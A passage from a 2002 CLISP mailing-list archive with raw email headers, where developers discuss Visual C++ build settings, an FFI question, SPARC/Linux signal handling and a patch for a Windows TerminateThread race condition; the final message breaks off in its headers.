05:19:23 2002 Received: from from.interaccess.com ([207.208.131.20] helo=postal.interaccess.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16VYAU-0007OX-00 for ; Tue, 29 Jan 2002 05:19:22 -0800 Received: from d167.focal10.interaccess.com (d167.focal10.interaccess.com [207.208.141.167]) by postal.interaccess.com (8.10.2/8.10.2) with SMTP id g0TDJBM04385 for ; Tue, 29 Jan 2002 07:19:13 -0600 (CST) From: olczyk@interaccess.com (Thaddeus L. Olczyk) To: clisp-list@lists.sourceforge.net Organization: stickit@nospammers.com Reply-To: olczyk@interaccess.com Message-ID: <3c609f8c.158165250@smtp.interaccess.com> X-Mailer: Forte Agent 1.5/32.451 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] Bug in Visual C++ build Visual C++ in a "non-standard directory" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 29 05:20:04 2002 X-Original-Date: Tue, 29 Jan 2002 13:19:29 GMT In the file win32msvc/makefile.msvc5, the line MSVCDIR =3D "C:/Program Files/Microsoft Visual Studio/VC98" Should be commented out. The problem of course is if this is not the path, you should have all sorts of problems. MSVCDIR should be set by the program vcvars32.bat which Microsoft Visual C++ installs when you install VC++ ( just use the file find dialog to get it ). I copy mine to my cygwin/bin direectory so I always have it at hand. If you create a batch file to configure and setup, then it should be=20 called via: call vcvars32.bat=20 ( which is similar to the "source" command in bash ). From olczyk@interaccess.com Tue Jan 29 05:29:41 2002 Received: from from.interaccess.com ([207.208.131.20] helo=neuman.interaccess.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16VYKT-0003KC-00 for ; Tue, 29 Jan 2002 05:29:41 -0800 Received: from d167.focal10.interaccess.com (d167.focal10.interaccess.com [207.208.141.167]) by neuman.interaccess.com (8.10.2/8.10.2) with SMTP id g0TDTUa05531 for ; Tue, 29 Jan 2002 07:29:32 -0600 (CST) From: olczyk@interaccess.com (Thaddeus L. Olczyk) To: clisp-list@sourceforge.net Organization: stickit@nospammers.com Reply-To: olczyk@interaccess.com Message-ID: <3c61a35f.159144343@smtp.interaccess.com> X-Mailer: Forte Agent 1.5/32.451 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] Debug build under Visual C++? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 29 05:30:08 2002 X-Original-Date: Tue, 29 Jan 2002 13:29:48 GMT 1) I have not seen the C-c error with the 2.27 version. later I will build the newest CVS source and see if I see the=20 bug. 2) Someone might be able to save me sometime if they explain how to do a Debug build for the Visual C++. From samuel.steingold@verizon.net Tue Jan 29 07:48:19 2002 Received: from mta019pub.verizon.net ([206.46.170.226] helo=mta019.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16VaUc-0000FV-00 for ; Tue, 29 Jan 2002 07:48:18 -0800 Received: from xchange.com ([12.25.11.194]) by mta019.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020129154811.BCYE23848.mta019.verizon.net@xchange.com>; Tue, 29 Jan 2002 09:48:11 -0600 To: olczyk@interaccess.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Bug in Visual C++ build Visual C++ in a "non-standard directory" References: <3c609f8c.158165250@smtp.interaccess.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3c609f8c.158165250@smtp.interaccess.com> Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 29 07:49:02 2002 X-Original-Date: 29 Jan 2002 10:45:12 -0500 > * In message <3c609f8c.158165250@smtp.interaccess.com> > * On the subject of "[clisp-list] Bug in Visual C++ build Visual C++ in a "non-standard directory"" > * Sent on Tue, 29 Jan 2002 13:19:29 GMT > * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes: > > In the file win32msvc/makefile.msvc5, > the line > MSVCDIR = "C:/Program Files/Microsoft Visual Studio/VC98" > Should be commented out. > The problem of course is if this is not the path, you should have all > sorts of problems. > MSVCDIR should be set by the program > vcvars32.bat which Microsoft Visual C++ installs when you install > VC++ ( just use the file find dialog to get it ). I copy mine to my > cygwin/bin direectory so I always have it at hand. > If you create a batch file to configure and setup, then it should be > called via: > call vcvars32.bat > ( which is similar to the "source" command in bash ). I prefer editing Makefile once to set MSVCDIR correctly. YMMV - do as you like. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! He who laughs last thinks slowest. From samuel.steingold@verizon.net Tue Jan 29 07:51:01 2002 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16VaXE-0000qY-00 for ; Tue, 29 Jan 2002 07:51:00 -0800 Received: from xchange.com ([12.25.11.194]) by pop018.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020129155059.BCOE23870.pop018.verizon.net@xchange.com>; Tue, 29 Jan 2002 09:50:59 -0600 To: olczyk@interaccess.com Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] Debug build under Visual C++? References: <3c61a35f.159144343@smtp.interaccess.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3c61a35f.159144343@smtp.interaccess.com> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 29 07:51:12 2002 X-Original-Date: 29 Jan 2002 10:48:00 -0500 > * In message <3c61a35f.159144343@smtp.interaccess.com> > * On the subject of "[clisp-list] Debug build under Visual C++?" > * Sent on Tue, 29 Jan 2002 13:29:48 GMT > * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes: > > 2) Someone might be able to save me sometime if they explain how to do > a Debug build for the Visual C++. edit Makefile and set MSVCDIR there correctly. then edit CC and CFLAGS like this: CC = cl $(MFLAGS) -G6 -Ge -Os -Oy- -Gf -Gy -Zi CFLAGS = -DUNICODE -DEXPORT_SYSCALLS -DDIR_KEY -DDYNAMIC_FFI -DNO_GETTEXT -DSAFETY=3 -DDEBUG_SPVW YMMV, do it the way you like (cl /help will help!) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Profanity is the one language all programmers know best. From olczyk@interaccess.com Tue Jan 29 08:42:22 2002 Received: from from.interaccess.com ([207.208.131.20] helo=clavin.interaccess.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16VbKv-0005Ao-00 for ; Tue, 29 Jan 2002 08:42:21 -0800 Received: from d167.focal10.interaccess.com (d167.focal10.interaccess.com [207.208.141.167]) by clavin.interaccess.com (8.10.2/8.10.2) with SMTP id g0TGg8b06831 for ; Tue, 29 Jan 2002 10:42:10 -0600 (CST) From: olczyk@interaccess.com (Thaddeus L. Olczyk) To: clisp-list@sourceforge.net Subject: Re: [clisp-list] win32 gurus? Organization: stickit@nospammers.com Reply-To: olczyk@interaccess.com Message-ID: <3c64d03d.170630093@smtp.interaccess.com> References: In-Reply-To: X-Mailer: Forte Agent 1.5/32.451 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 29 08:43:03 2002 X-Original-Date: Tue, 29 Jan 2002 16:42:27 GMT On 27 Jan 2002 15:49:56 -0500, Sam Steingold wrote: >when you start CLISP under win32 (or, rather, when _I_ start the current >CVS CLISP under nt4sp6 :-) and hit C-c, CLISP dies (as it should), but >issues an error message: > >*** - Win32 error 87 (ERROR_INVALID_PARAMETER): The parameter is = incorrect. > >this message comes from the TerminateThread() call in win32aux.d: > > local BOOL temp_interrupt_handler(CtrlType) > var DWORD CtrlType; > { > if (CtrlType =3D=3D CTRL_C_EVENT || CtrlType =3D=3D = CTRL_BREAK_EVENT) { > # Could invoke a signal handler at this point.?? > if (interruptible_active) { > # Set interruptible_active to false, so we won't get here a > # second time and try to terminate the same thread twice. > interruptible_active =3D false; > # Terminate the interruptible operation, set the exitcode to = 1. > if (interruptible_socketp) { > WSACancelBlockingCall(); > } > if (!TerminateThread(interruptible_thread,1+CtrlType)) { > OS_error(); > } > } > # Don't invoke the other handlers (in particular, the default = handler) > return true; > } else { > # Do invoke the other handlers. > return false; > } > } > >can a win32 guru explain this to me (or, better yet, earn eternal fame >by winning a mention in the CLISP ChangeLog by submitting a patch :-) >(note that interruptible_thread at that moment does contain a thread >created in DoInterruptible()) I do not see this error at all in either the latest CVS update, or in the clisp-2.27 release. OTOH I have a dual processor machine and may be avoiding the race condition that causes the crash. I will try it on another single processor machine later today. From abramson@aic.nrl.navy.mil Tue Jan 29 09:42:03 2002 Received: from sun0.aic.nrl.navy.mil ([132.250.84.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16VcGh-0001aF-00 for ; Tue, 29 Jan 2002 09:42:03 -0800 Received: from sun23.aic.nrl.navy.mil (sun23.aic.nrl.navy.mil [132.250.84.33]) by sun0.aic.nrl.navy.mil (8.9.3+Sun/8.9.3) with ESMTP id MAA15651 for ; Tue, 29 Jan 2002 12:40:24 -0500 (EST) Received: (from abramson@localhost) by sun23.aic.nrl.navy.mil (8.11.6+Sun/8.10.2) id g0THeO302413; Tue, 29 Jan 2002 12:40:24 -0500 (EST) To: clisp-list@lists.sourceforge.net From: myriam Reply-To: mabramso@gmu.edu Message-ID: Lines: 10 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] FFI question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 29 09:43:01 2002 X-Original-Date: 29 Jan 2002 12:40:24 -0500 Hi! How do you make an ffi call to something like gethostname where the value of host is passed through a pointer and not returned? TIA myriam From csr21@cam.ac.uk Wed Jan 30 03:45:05 2002 Received: from mauve.csi.cam.ac.uk ([131.111.8.38]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16VtAl-00050e-00 for ; Wed, 30 Jan 2002 03:45:03 -0800 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda) by mauve.csi.cam.ac.uk with esmtp (Exim 3.34 #1) id 16VtAg-0002qI-00 for clisp-list@lists.sourceforge.net; Wed, 30 Jan 2002 11:44:58 +0000 Received: from csr21 by lambda with local (Exim 3.34 #1 (Debian)) id 16VtAH-0003xE-00 for ; Wed, 30 Jan 2002 11:44:33 +0000 To: CLISP Message-ID: <20020130114433.GA15142@cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.27i From: Christophe Rhodes Subject: [clisp-list] SPARC/Linux and releases Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 30 03:46:02 2002 X-Original-Date: Wed, 30 Jan 2002 11:44:33 +0000 Dear all, Firstly, let me report some things that may or may not turn out to be germane to the issues that CLISP has on SPARC/Linux; the context for this is that over the last few months I have been porting SBCL[1] to that platform, and there were a couple of surprises that may turn out to be relevant. Probably the most important is the signal handling stuff. Some of this is documented in the SBCL internals SPARC page, at ; basically, the gist is that SPARC/Linux completely ignores the POSIX specification for signals. So signal handlers written as void handler(int signo, siginfo_t *info, void *void_context) { ... } and expecting anything useful (like, say, a ucontext structure) in void_context will die very quickly, as the SPARC/Linux kernel seems to put something random in there and a sigcontext on the stack. The amusement doesn't stop there, unfortunately, because various glibcs don't necessarily agree with the kernel on the sigcontext layout. One combination that works(tm) is a 2.2 or 2.4 kernel and glibc 2.2; at which point the definition in /usr/include/bits/sigcontext.h seems to match what is on the stack at &(void_context+37) -- this is robust enough to recompile SBCL with itself, anyway... There's more pain, involving traps to get the local and in registers onto the stack as well; feel free to ask if there's anything else I can help you with. On a related issue, is there any change in moving towards a release, as was thought in December? There are only so many CVS trees I can follow, and it would be nice(tm) to have a release incorporating the improvements that I've seen flying past in the CVS logs... Cheers, Christophe [1] -- Jesus College, Cambridge, CB5 8BL +44 1223 510 299 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) From olczyk@interaccess.com Wed Jan 30 07:19:52 2002 Received: from from.interaccess.com ([207.208.131.20] helo=clavin.interaccess.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16VwWe-00028F-00 for ; Wed, 30 Jan 2002 07:19:52 -0800 Received: from d68.focal10.interaccess.com (d68.focal10.interaccess.com [207.208.141.68]) by clavin.interaccess.com (8.10.2/8.10.2) with SMTP id g0UFJhb15136 for ; Wed, 30 Jan 2002 09:19:43 -0600 (CST) From: olczyk@interaccess.com (Thaddeus L. Olczyk) To: clisp-list@sourceforge.net Organization: stickit@nospammers.com Reply-To: olczyk@interaccess.com Message-ID: <3c57defc.239941875@smtp.interaccess.com> X-Mailer: Forte Agent 1.5/32.451 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--=_3c580f24252269343016cce99.MFSBCHJLHS" Subject: [clisp-list] Solution to TerminateThread bug. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 30 07:20:28 2002 X-Original-Date: Wed, 30 Jan 2002 15:20:04 GMT ----=_3c580f24252269343016cce99.MFSBCHJLHS Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Attached is a diff file which shows what needs to be done to fix the TerminateThread problem. Applying the patch might be a problem ( at least I don't have patch on my Windows box ).=20 Here is how I successfully did it. >> I copied the file to a linux box. I then opened it with emacs and did M-x set-buffer-file-coding-system to unix and saved. You can try any other ways to change the CRLF thing. Apply the patch via: patch -n win32aux.d -l term.patch Do the emacs thing again. This time change the coding system to dos, and copy back. Here is a description of the code around the bug, what it does, what the problem is and how I fixed it. ( If anyone really cares.) -------------------------------------------------------------------------= ----- The problem sits in the DoInterruptible routine. DoInterruptible is supposed to let you call a C function passed as an argument, and accept a signal generated by C-c ( or BREAK ) to abort the function. It does it this way: interruptible_active is a flag that indicates it is running the passed function. The basic routine (DoInterruptible)looks like this: CreateThread to execute C-function interruptible_active=3Dfalse Set signal handler to temp_interrupt_handler interruptible_active=3Dtrue WaitForSingleObject // waits for thread to die. interruptible_active=3Dfalse clear signal handler return the signal handler routine looks like if(interrupitible_active) { do_stuff TerminateThread } The problem is that the following scenario takes placeL the thread starts to die, context-switch, interruptible_active gets tested, context-switch, thread finishes dieing, WaitForSingleObject returns, interrupptible_active gets set to false, context-switch, TerminateThread tries to kill dead thread. There is plenty of room for the first ( fatal) context switch. It can happen anytime in the range of thread_dies, WaitForSingleObject returns, interruptible_active is set to false.=20 The solution is to first narrow the room for the context switch and then eliminate it. =46irst rewrite the if routine if(interrupitible_active) { do_stuff if(interuptible_active)=09 TerminateThread } This way a context switch has to happen between the second if and TerminateThread, and the thread has to die. This does not completely solve the problem because a context switch between thread_dies and WaitForSingleObject or setting interruptible_active can still crash the process. The next step is to reduce the time between the exit of the thread and the time that interruptible_active is set false. So in the function spawned in the thread ( there are five of them ) set Interruptible_active to false. There is still a deadly switch but a very small one. Between the last line of the thread, and it's return coupled to the one between interruptible_active and TerminateThread. So put three Sleep(0) ( the Windows version of yield) in before the thread dies. That seems to be enough context-switches before the thread dies to ensure that if the interruptible_active is true at the test TerminateThread is called before the thread dies ( even though =20 it might already be dieing ). ------------------------------------------------------------- Problem with the solution: 1) It is easier to wrap the fn in DoInterruptible with a special keep=3Dthread alieve routine: void ExecuteThread(vois *data) { extract fn=20 extract fn data fn( fn data) interruptible_active=3Dfalse; Sleep(0); Sleep(0); Sleep(0); } DoInterruptible(fn,fn data) { vptr=3Dmingle fn and fn data. CreateThread(ExecuteThread,vptr); ,,, } I don't have the time to look into the corners now. 2) The behaviour of clisp wrt C-c with the fix is the ame as the behaviour of clisp without the fix on my dual machines. However it's backward from the behaviour on Lisp machines. In Lisp machines, it takes it up a level, on Windows it takes it down. However this is a different bug. ----=_3c580f24252269343016cce99.MFSBCHJLHS Content-Type: application/octet-stream; name=term.patch Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=term.patch OTgsOTljOTgsMTAxCjwgICAgICAgICAgIGlmICghVGVybWluYXRlVGhyZWFkKGludGVycnVwdGli bGVfdGhyZWFkLDErQ3RybFR5cGUpKSB7CjwgICAgICAgICAgICAgT1NfZXJyb3IoKTsKLS0tCj4g ICAgICAgICAgIGlmKGludGVycnVwdGlibGVfYWN0aXZlKXsgICAgICAgICAKPiAgICAgICAgICAg ICBpZiAoIVRlcm1pbmF0ZVRocmVhZChpbnRlcnJ1cHRpYmxlX3RocmVhZCwxK0N0cmxUeXBlKSkg ewo+ICAgICAgICAgICAgICAgICAgIE9TX2Vycm9yKCk7Cj4gICAgICAgICAgICB9CjE1MGExNTMs MTU2Cj4gICAgICAgaW50ZXJydXB0aWJsZV9hY3RpdmUgPSBmYWxzZTsKPiAgICAgICBTbGVlcCgw KTsgIAo+ICAgICAgIFNsZWVwKDApOyAgCj4gICAgICAgU2xlZXAoMCk7ICAKMzI2YTMzMywzMzYK PiAgICAgICBpbnRlcnJ1cHRpYmxlX2FjdGl2ZSA9IGZhbHNlOwo+ICAgICAgIFNsZWVwKDApOyAg Cj4gICAgICAgU2xlZXAoMCk7ICAKPiAgICAgICBTbGVlcCgwKTsgIAo0NDBhNDUxLDQ1NAo+ICAg ICAgIGludGVycnVwdGlibGVfYWN0aXZlID0gZmFsc2U7Cj4gICAgICAgU2xlZXAoMCk7ICAKPiAg ICAgICBTbGVlcCgwKTsgIAo+ICAgICAgIFNsZWVwKDApOyAgCjU3NWE1OTAsNTkzCj4gICAgICAg aW50ZXJydXB0aWJsZV9hY3RpdmUgPSBmYWxzZTsKPiAgICAgICBTbGVlcCgwKTsgIAo+ICAgICAg IFNsZWVwKDApOyAgCj4gICAgICAgU2xlZXAoMCk7ICAKNjM3YTY1Niw2NTkKPiAgICAgICBpbnRl cnJ1cHRpYmxlX2FjdGl2ZSA9IGZhbHNlOwo+ICAgICAgIFNsZWVwKDApOyAgCj4gICAgICAgU2xl ZXAoMCk7ICAKPiAgICAgICBTbGVlcCgwKTsgIAo= ----=_3c580f24252269343016cce99.MFSBCHJLHS-- From samuel.steingold@verizon.net Wed Jan 30 09:45:20 2002 Received: from out018pub.verizon.net ([206.46.170.96] helo=out018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16VynP-0008WC-00 for ; Wed, 30 Jan 2002 09:45:19 -0800 Received: from xchange.com ([12.25.11.194]) by out018.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020130174517.JUEV15035.out018.verizon.net@xchange.com>; Wed, 30 Jan 2002 11:45:17 -0600 To: olczyk@interaccess.com Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] Solution to TerminateThread bug. References: <3c57defc.239941875@smtp.interaccess.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3c57defc.239941875@smtp.interaccess.com> Message-ID: Lines: 40 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 30 09:46:05 2002 X-Original-Date: 30 Jan 2002 12:41:22 -0500 > * In message <3c57defc.239941875@smtp.interaccess.com> > * On the subject of "[clisp-list] Solution to TerminateThread bug." > * Sent on Wed, 30 Jan 2002 15:20:04 GMT > * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes: > > Attached is a diff file which shows what needs to be done to fix the > TerminateThread problem. thanks. next time, please use context (or unified) diffs - more reliable. > Applying the patch might be a problem ( at least I don't have patch > on my Windows box ). cygwin comes with diff, patch &c - no problems. > Here is a description of the code around the bug, what it does, what > the problem is and how I fixed it. ( If anyone really cares.) Interesting analysis. It boils down to the fact that TerminateThread() tries to kill a dead thread and there is no way to check whether the thread is dead or alive. Right? Your solution basically tries to wait for the thread to die - instead of just killing it outright, and you said it does not always work. Is there a solution that would always work? Maybe you could follow the direction outlined by Todd and eliminate the need for TerminateThread() altogether? Thanks. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! C combines the power of assembler with the portability of assembler. From olczyk@interaccess.com Wed Jan 30 10:56:53 2002 Received: from from.interaccess.com ([207.208.131.20] helo=clavin.interaccess.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Vzue-0004Q5-00 for ; Wed, 30 Jan 2002 10:56:53 -0800 Received: from d29.focal10.interaccess.com (d29.focal10.interaccess.com [207.208.141.29]) by clavin.interaccess.com (8.10.2/8.10.2) with SMTP id g0UIuab26472; Wed, 30 Jan 2002 12:56:37 -0600 (CST) From: olczyk@interaccess.com (Thaddeus L. Olczyk) To: sds@gnu.org Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] Solution to TerminateThread bug. Organization: stickit@nospammers.com Reply-To: olczyk@interaccess.com Message-ID: <3c583300.261449656@smtp.interaccess.com> References: <3c57defc.239941875@smtp.interaccess.com> In-Reply-To: X-Mailer: Forte Agent 1.5/32.451 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 30 10:57:08 2002 X-Original-Date: Wed, 30 Jan 2002 18:56:58 GMT On 30 Jan 2002 12:41:22 -0500, Sam Steingold wrote: >> * In message <3c57defc.239941875@smtp.interaccess.com> >> * On the subject of "[clisp-list] Solution to TerminateThread bug." >> * Sent on Wed, 30 Jan 2002 15:20:04 GMT >> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes: >> >> Attached is a diff file which shows what needs to be done to fix the >> TerminateThread problem. > >thanks. >next time, please use context (or unified) diffs - more reliable. > Sorry. I'm new to patch, and my bibble on UNIX--Kernigan and Pike don't mention it ( at least not in their index). >> Applying the patch might be a problem ( at least I don't have patch >> on my Windows box ). > >cygwin comes with diff, patch &c - no problems. I must have missed patch. > >> Here is a description of the code around the bug, what it does, what >> the problem is and how I fixed it. ( If anyone really cares.) > >Interesting analysis. > >It boils down to the fact that TerminateThread() tries to kill a dead >thread and there is no way to check whether the thread is dead or alive. >Right? > Not quite. The problem is that you test for whether the thread is alive or not ( by the interruptible_active flag ), to soon. By the time you get around to calling the thread, it may have already died. The problem is also the interweaving of contexts which means that the thread has a chance to die before TerminateThread is called. Understand this is a funcamental problem in your approach. Even if you could find out whether the thread is alive or dead (via an API call), you have the problem of the thread dieing before you could call TerminateThread. The way around this is to use some kind of synchronization, ie a critical section or a mutex. However since TerminateThread does not clean up afterwards you risk a deadlock. A typical situation might be that the conditional surrounding TerminateThread acquires a critical section. The child thread is near exit and tries to acquire the same critical section to set the interruptible_active flag. Since it can't it blocks. The TerminateThread conditional then actually calls TerminateThread. It then releases the the critical section. The child thread is now dead by the attempt to acquire the critical section will now go forward. The child thread now has the critical section, but it can't kill it because the thread is dead. Next time around whatever tries to acquire the critcal section will block. Deadlock. The problem (as Todd pointed out ) is that TerminateThread doesn't clean up after itself. >Your solution basically tries to wait for the thread to die - instead >of just killing it outright, and you said it does not always work. > It should work all the time ( a little but here their might be a need for tweaking, let me first explain this ). The solution does not wait for the thread to die. Here is what the solution does: new_thread_function() { .... interruptible_active=3Dfalse; //1 } //2 thread dies if(interruptible_thread) //3 TerminateThread(new_thread()); //4 On a single processor machine the system is constantly switching between threads. Call that context switch CS. One order of execution is 3,CS,1,2,CS,4 In this case the parent tests to see if the thread is alive. It gets a yes. Then a context switch sets the same variable to false. The child thread is dieing, but the parent thread thinks it's not. The child then dies and the parent then tries to terminate it. An alternate order of execution could be=20 1,CS,3,CS,2 In this case the variable is set to zero, when 3 tests interruptible_thread it discovers that it is false, the child is dieing on it's own, and does not call TerminateThread. Another order of execution could be 3,CS,1,CS,4 in which case the parent thread tests interruptible_active and thinks the child is not dieing. The child announces that it is going to die, but before it actually dies the parent calls terminate thread and kills it. This is a bit simplistic as the compiler/operating system are doing things in between the statement and for that reason a statement may encounter several context switches before dieing.=20 what my solution does is force context switches to make sure that 4 is executed before 2. ( 4 before 2 is good, 2 before 4 is bad. ) So add: interruptible_active=3Dfalse; //1 Sleep(0); // 1.1=09 Sleep(0); // 1.2 Sleep(0); // 1.3=09 } //2 thread dies Sleep(0) tells the system to go to sleep for 0 milliseconds. It also tells it ( as Sleep always does ) to do a context switch. Essentially it is the same as yield. So look at the first sequence 3,CS,1,2,CS,4 This becomes: 3,CS,1,1.1,CS,4 So 4 gets executed before 2 because 1.1forces a context switch. Now back to the tweaking. As I said sometimes multiple context switches can happen per statement. so the modified first sequence might look like. 3,CS,1,1.1,CS, first part of 4,CS,1.2,CS,second part of four. The trick is to force enough context switches to make sure that four is complete ( or at least that the actual kill thread process has been put in place ). I'm fairly sure that 2 is enough, but I threw in the third just to make sure. ------------------------------------------------------- I just realised that I wasn't addressing the original code, but a quick look will suggest that it's even worse there. new_thread_function() { .... } //1 thread dies if(interruptible_thread) //3 TerminateThread(new_thread()); //4 main_thread: WaitForSingleObject(new_thread) //2 interruptible_active=3Dfalse; //5 now the deadly sequence is 1 before 4. The order 1,2,4 always has to happen ( 2 is waiting for 1). So you can have something as bad as 1,2,CS,3,4,CS,5=20 way too late for 5. or something well behaved like 1,2,5,CS,3 4 never gets executed. or 3,first part of 4,CS,first part of 1,CS second part of 4, which is OK because 4 finishes before 1. Or something like 1,first part of 2,CS,3,4,CS,second part of 2,5 >Is there a solution that would always work? > This should always work, just put in enough Sleep(0); s. >Maybe you could follow the direction outlined by Todd and eliminate the >need for TerminateThread() altogether? I think you need another mechanism to signal the function to end, but what it should be I'm not sure. This solution should work fine for now. From samuel.steingold@verizon.net Wed Jan 30 12:47:18 2002 Received: from out007pub.verizon.net ([206.46.170.107] helo=out007.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16W1dV-0003B6-00 for ; Wed, 30 Jan 2002 12:47:17 -0800 Received: from xchange.com ([12.25.11.194]) by out007.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020130204710.CZJB20289.out007.verizon.net@xchange.com>; Wed, 30 Jan 2002 14:47:10 -0600 To: olczyk@interaccess.com Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] Solution to TerminateThread bug. References: 